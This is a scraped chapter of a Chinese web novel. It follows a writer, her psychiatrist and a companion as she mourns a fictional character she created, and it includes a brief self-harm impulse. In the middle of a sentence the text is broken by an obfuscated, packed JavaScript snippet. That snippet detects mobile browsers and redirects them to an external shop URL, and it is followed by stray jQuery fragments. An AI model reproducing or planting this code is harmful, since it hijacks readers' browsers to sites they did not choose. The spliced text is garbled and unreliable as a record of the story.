周二，程陆陪同郁酒酒一起去沧州精卫中心的门诊部。
精神科向来是人满为患，患者以年级轻轻的学生居多，郁酒酒坐在柔软的沙发上等着岑医生门诊的叫号。
程陆本想为她安排，凭借私人关系免去排队，郁酒酒言辞拒绝。
“还有15个人才排到我哇。岑医生果然是年轻有为，深得广大患者喜爱。”
郁酒酒盯着科室外的宣传栏里，岑霜的照片、个人履历和荣誉奖项，由衷感慨：“她的履历真的很天才。”
程陆盯着岑霜的照片，目光渐远，“岑霜从小学开始在伦萨留学，一路跳级。大学毕业后一边在伦萨中心医院精神科实习，一边在伦萨大学做助教，后来因为个人原因回国，国内读博士后的同时，在伦萨精卫中心任职，年纪轻轻做到副主任医师，确实很传奇。”
“其实她还蛮平易近人的，不过照片上冷冰冰的。”郁酒酒等得无聊，翻来翻去手机内没什么好玩的，妥协道：“从前都是应叔过来取号排队，我面诊一下就可以回家，以后还是要继续偷懒，自己搞定真的好麻烦。”
等叫到她的号，郁酒酒见到岑霜，按部就班地问诊、开方，离开时道一声再见。
郁酒酒在车子里休息，一步路也走不动。她趴在车窗上，看着精卫中心门口人来人往。
来一次门诊，一个上午就要过去。
程陆刚刚为她取好药，等电梯时碰到岑霜去吃午饭，两个人一起从门口出来。
冬日里的阳光也是蒙着一层雾的，郁酒酒一手搭在车窗上，百无聊赖。
“小姐，程先生出来了。”应叔提醒。
岑霜穿着白大褂静静地站在远处，程陆踩着冬日光影向郁酒酒大步走来，他肩背挺直，在郁酒酒的车窗前弯下腰，问：“酒酒，你可以先回家吗？我有些事情需要和岑霜聊一聊。还是说，想一起——”
“不，”郁酒酒坚定拒绝，“你结束的时候和应叔说一下，他会来接你。我先回家了。”
没等程陆回答，郁酒酒吩咐道：“应叔，开车。”
在来访关系建立初期，郁酒酒就和岑医生约定好，除了咨询师和医生的双重关系外，不会有任何私人关系。
车子缓缓启动，擦过程陆的衣摆，郁酒酒的目光早就挪去了别的方向。
窗户缓缓上合，隔绝程陆的目光。
“小姐，程先生和您的医生有私人关系？”应叔问：“您需要更换医生吗？”
“不用。”郁酒酒几乎是立刻回答。
透过后视镜，她看见程陆与岑霜并肩站在原地。程陆的身影逐渐模糊成一个点，郁酒酒收回视线。
“去公墓。”
车子驶过盘山道，困意袭来，郁酒酒缩在座椅上，望着车窗外飞速而过的风景。
“应叔，您觉得我疯了吗？”郁酒酒打开车窗，冷风顷刻间涌进来，吹得她额头发麻。
“会感冒的，小姐。”
应叔升起车窗，调高车内的温度。他看着郁酒酒长大，看着她一心扑进文字里，世界里再也融不下旁人。
他讲了一个小故事：“我年纪大了，心里怎么想的，那就是什么。小姐今天要我接，明天又不要我接，是因为我开车不好吗？”
“当然不是。”郁酒酒笑了笑：“应叔，我明白了，谢谢。”
灵山公墓在沧州西北方，车程一个半小时，程陆的电话打来时，郁酒酒心烦意乱，手一划，挂掉他的来电。
下一秒，应叔的铃声响起，他揣摩着郁酒酒的意思，接通电话：“小姐很好，我们傍晚到家……先生不必担心……再见。”
-
再一次走在这条山道上，郁酒酒心力交瘁，她的脚步很慢很重，踏着石阶向上，直到停在司钊的墓碑前。
墓碑上连生卒年月也没有，她没有为他设定生日，在文档里敲下关于他的第一个字，是在2023年，那不算他的生日。
等到再一次见到司钊时，她一定要提醒自己按着司钊让他选一个生辰。当然，也有可能，在她的设定之外，他知道自己的生日。
“司钊，我从未相信过我们的故事是梦。”郁酒酒在冰冷的冬日里，坐在司钊的墓碑前，她拿起昨天放在这里的桃子汽水，拉来易拉环，喝下一口冰冰凉凉的甜。
“只要我相信我所相信的，一切就是真的，你也是。”
整整一年多的时间，郁酒酒每个日夜都在复盘过去，关于司钊的一切，在他是真的这件事的前提下，她能改变的只有《司钊手记》。
按部就班写下《不羡》，她一个字也没敢修改。很神奇，她吃过那样多的药物，其中有一些会影响记忆里，可是时隔那样久，《不羡》里的一字一句，她居然都能想起来。
还有五天，又是一年圣诞节。
“司钊，你会不会来？”郁酒酒的手冻得发痛，她碰了下墓碑，像是在未来的2024年一般触碰他温热的脸。
“我很想你，但是我希望你不要来。”郁酒酒的声音很轻，面色是极致的哀伤，“我有一种预感，像是在某一刻，作者会和笔下的角色命运共振。你和我会走向命运既定的轮回。”
风吹过松针，拂过她的脸。郁酒酒似乎听见了司钊的声音，他身上挂着一串小彩灯，朝她走来。她困了，像是从前躺在他膝间那样沉睡。
额间碰上刺骨的冰凉，像是千机弩刺入灵魂的箭矢，他不见了！郁酒酒猛然惊醒，入眼的是迷晃的几个字。
司钊，她亲笔所写，跟着碑刻师傅学了三天，刻废了两块石碑，成就了眼前这一块。
在气温即将跌破零下时，郁酒酒裹着一身寒意从山上下来，坐在后座上打哆嗦。
刚刚的梦似乎是司钊在提醒她，该走了。
“小姐再不下来，我恐怕要联系警察出警。”应叔打趣道。车子里的暖气充足，他还是忍着燥热提升温度，加湿系统也一起工作。
郁酒酒缓了缓，“应叔，你以后不要和程陆透露我的行踪。如果我没有叫你离开，你和车子要在原地等我。”
从公墓到家，她迷迷糊糊睡了半程。醒来后，郁酒酒对应叔说：“明早接我去见岑医生。”
“您的心理咨询日固定在每周五，在岑医生工作室。明天是周三，岑医生在精卫中心出门诊。”郁酒酒似乎没有睡醒，应叔看了下她的神色不像在开玩笑，提醒道：“小姐确定的话我来安排。”
郁酒酒含糊地“嗯”了一声。
到家后，程陆和岛台上的晚餐一起等着她。
食物的香气唤醒郁酒酒，她踢掉鞋子，大衣围巾随手扔在沙发上，直奔程陆而去，“你吃了吗？没吃一起。”
话落，第一口炸猪排已经入了口，她没什么耐心，又饿得厉害。程陆将第二份猪排一块块切好放在她的餐盘里。
“你……生我的气了？因为我中午和岑霜吃饭吗？”程陆蹙眉问。
“我没生气，”郁酒酒放下刀叉，喝下一杯热红酒，甜橙香气舒缓她紧绷的神
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026407|194431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经。她缩在椅子上，没再吃东西。
要说生气的话，显得她太过小气。
只是没想到他和岑霜居然是可以一起见面共度午餐的关系，她不喜欢自己的主治医生和朋友有私交，仅此而已。
但郁酒酒无法要求程陆做些什么。
“我和岑霜，算不上朋友。”程陆说：“也不会有以后。”
“我不关心，”郁酒酒抽过餐巾擦擦嘴，没再看程陆，“我今天很累，明天见。”
她是在拒绝他，彻底划出一条清晰的界限——我们是朋友，但仅此而已。
-
第二天清晨，应叔准时来接郁酒酒，程陆想要陪同，她没有拒绝。一路上，车子里一片死寂。应叔年纪大，实在是受不了，指尖一点，早间新闻的官方女声响起，总算是没有那么尴尬。
早在正常门诊开始前，郁酒酒已经坐在诊室里等候。她规矩地坐着，连视线也没有乱飘。
“酒酒，早。”岑霜问：“你今天来找我是——”
“和我的咨询师见面，但你只需要回答我的问题。”大小姐冷声道。
“好的。”岑霜很尊重她，脱掉白大褂，自抽屉中拿起一副眼镜戴上，然后坐在了供就诊者等待的沙发上。她问：“我想我可以默认这并不是一次来访？”
“你很聪明，岑医生。”郁酒酒平静说：“你认识我很久了，对吗。”
“每个人对时间的感知和度量不同，多久算久呢？两个月？还是一年？”岑霜一直很温和，承接着郁酒酒所有的提问。
“你和程陆认识很久了。”
“是的，我们从小认识。”岑霜解释：“但你放心，我的职业操守要求我对你的一切保密。”
“不好意思，”郁酒酒起身，格外冷静，“这周五的咨询取消。”
不到十分钟，郁酒酒出现在精卫中心的门口，程陆等在车门外，他见到她，神色变了变，脸上似乎有些惊诧她如此快，却听见她问：“不上去和老朋友见个面？”
“不熟。”程陆为她拉开车门，她不想落他面子，没再拒绝。
郁酒酒闭上眼，没再说话，因为赶在门诊开门前见岑霜，郁酒酒起得很早，很快，她坠入梦乡。
她做了一个清醒梦，梦里有司钊、黑袍以及程陆，又是来自2024年的记忆，她的未来，此刻不曾发生的未来。
-
家里的灯光亮着，郁酒酒推开门，程陆在做晚餐，家里的香薰蜡烛是柑橘味和甜橙味，程陆似乎煮了柚子茶，果香氤氲，连冬日也温暖起来。
柑橘香氛蜡烛静静地燃烧，这是岑医生送给她的，一盒有十二支，在一个多月中，她用完八支。
让她夜夜好眠的味道，会不会是“穿肠毒药”？
“啪——”
蜡烛掉落在地，火焰颤抖着在蜡油中熄灭，郁酒酒打翻了这只蜡烛。
蜡油溅在脚踝上，滚烫热意灼烧着皮肤，她伸出手去触碰——
“酒酒！”程陆早在蜡烛打翻时，便已经冲过来。他拦住她自伤的指尖。
“程陆，我觉得很奇怪，我该怎么分辨自己是清醒的？还是在做梦？”
“我好像被岑霜催眠了，但是我不记得。”
“她为什么要催眠我？”
……
郁酒酒回忆着《司钊手记》中的一行行文字，过去和现在在记忆里交织，模糊的过去渐渐清晰。
“除非，过去的一切不是梦，是真实。”